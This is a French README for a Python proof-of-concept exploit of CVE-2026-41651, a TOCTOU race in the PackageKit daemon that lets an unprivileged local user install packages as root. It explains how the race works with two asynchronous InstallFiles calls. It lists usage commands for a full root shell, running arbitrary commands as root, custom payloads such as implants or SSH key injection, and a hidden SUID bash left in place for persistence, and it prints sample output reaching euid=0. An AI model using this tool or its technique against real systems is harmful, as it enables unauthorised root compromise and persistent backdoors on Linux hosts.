
Python proof-of-concept pour CVE-2026-41651, une escalade de privilèges locaux TOCTOU dans PackageKit permettant aux utilisateurs non privilégiés d'installer des paquets en tant que root. Inclut un mode de vérification, un support de charge utile personnalisée et un dropper SUID bash.
PoC Python de l'exploit d'élévation de privilèges locaux TOCTOU de PackageKit. Tout utilisateur local non privilégié peut installer des paquets arbitraires en tant que root sans authentification.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-41651 |
| Composant | Démon PackageKit (packagekitd) |
| Versions affectées | 1.0.2 – 1.3.4 |
| Corrigé dans | 1.3.5 |
| Impact | Élévation de privilèges locaux → root |
Cet outil est fourni uniquement à des fins éducatives et de recherche en sécurité autorisées.
OS vulnérable : Toute distribution Linux exécutant PackageKit >= 1.0.2 <= 1.3.4.
Limitation du PoC : le constructeur de paquets intégré ne produit que des fichiers
.deb, donc le script nécessite un hôte Debian/Ubuntu pour fonctionner tel quel. Sur les systèmes basés sur RPM, fournissez un payload postinst personnalisé via--payload-scriptet assurez-vous quedpkg/dpkg-devest disponible, ou adaptez le constructeur.
Python : 3.6+
Paquets système (Debian/Ubuntu) :
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
Note sur les dépendances :
python3-dbusetpython3-gine font pas partie de la bibliothèque standard de Python, mais ils sont presque toujours présents sur toute machine exécutant un environnement de bureau graphique (GNOME, KDE, XFCE, etc.), car ces environnements en dépendent directement. Sur une installation standard d'Ubuntu Desktop, les deux bibliothèques sont disponibles sans installation manuelle. Sur un serveur minimal sans interface graphique, ils peuvent être absents, donc dans ce cas la commandeapt installci-dessus nécessite sudo, ce qui contredit le contexte d'élévation de privilèges. En pratique, toute machine exécutant PackageKit avec une session de bureau aura déjà ces dépendances satisfaites.
gir1.2-glib-2.0fournit les fichiers typelib d'introspection GObject pour GLib.python3-giest le moteur de liaison Python, mais il a besoin de ces fichiers typelib pour savoir comment parler à GLib spécifiquement. Sans ce paquet,from gi.repository import GLibéchoue même sipython3-giest installé. Les deux sont installés automatiquement par tout bureau basé sur GNOME.
Note sur la tentative sans stdlib : Une version précédente de ce PoC a tenté de supprimer entièrement ces dépendances en remplaçant les appels D-Bus par des sous-processus
gdbus/dbus-send, puis en parlant directement le protocole filaire D-Bus via la socket Unix. Les deux approches n'ont pas réussi à déclencher de manière fiable la course TOCTOU : le lancement de processus externes introduit suffisamment de latence entre les deux appelsInstallFilespour que PackageKit traite l'étape 1 avant que l'étape 2 n'arrive, cassant la course. La liaisondbus-pythonenvoie les deux appels en mode fire-and-forget sur la même socket déjà ouverte sans surcharge de fork, ce qui permet le bon timing. La version sans stdlib a été annulée pour cette raison.
Vérifier la version de PackageKit (sans le PoC) :
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
Exemples :
# Vérifier si la cible est vulnérable (pas d'exploit)
python3 cve-2026-41651.py --check
# Exploit complet → shell root interactif
python3 cve-2026-41651.py
# Exécuter une seule commande en tant que root
python3 cve-2026-41651.py --exec "id"
# Payload personnalisé (implant, injection de clé SSH…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Conserver le bash SUID après la sortie, chemin personnalisé
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Mode scriptable / rapide
python3 cve-2026-41651.py --timeout 60 --quiet
Sortie attendue :
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Construction des paquets (Python pur)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Étape 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Étape 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Attente de l'envoi (30 s max)...
[!] Erreur PK 48 : Échec de l'obtention de l'authentification.
[*] Terminé (exit=2, 10 ms)
[*] Interrogation du payload (120 s max)...
[+] SUCCÈS : bash SUID à t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
Basé sur le PoC C original de Vozec. Il s'agit d'une réécriture en Python pour la portabilité. Tout le crédit pour la technique d'exploitation revient à l'auteur original.
Réécriture Python développée avec l'assistance de Claude (Anthropic).
| Option | Description |
|---|
--check | Interroger la version de PackageKit et signaler la vulnérabilité, puis quitter |
--exec CMD | Exécuter une seule commande en tant que root au lieu d'ouvrir un shell interactif |
--payload-script FILE | Utiliser un script postinst personnalisé au lieu du dropper bash SUID intégré |
--suid-path PATH | Où déposer le bash SUID (par défaut : /tmp/.suid_bash) |
--no-cleanup | Conserver le bash SUID après la sortie du shell |
--timeout N | Secondes d'attente pour le bash SUID (par défaut : 120) |
--quiet | Supprimer les sorties de progression (pour les scripts) |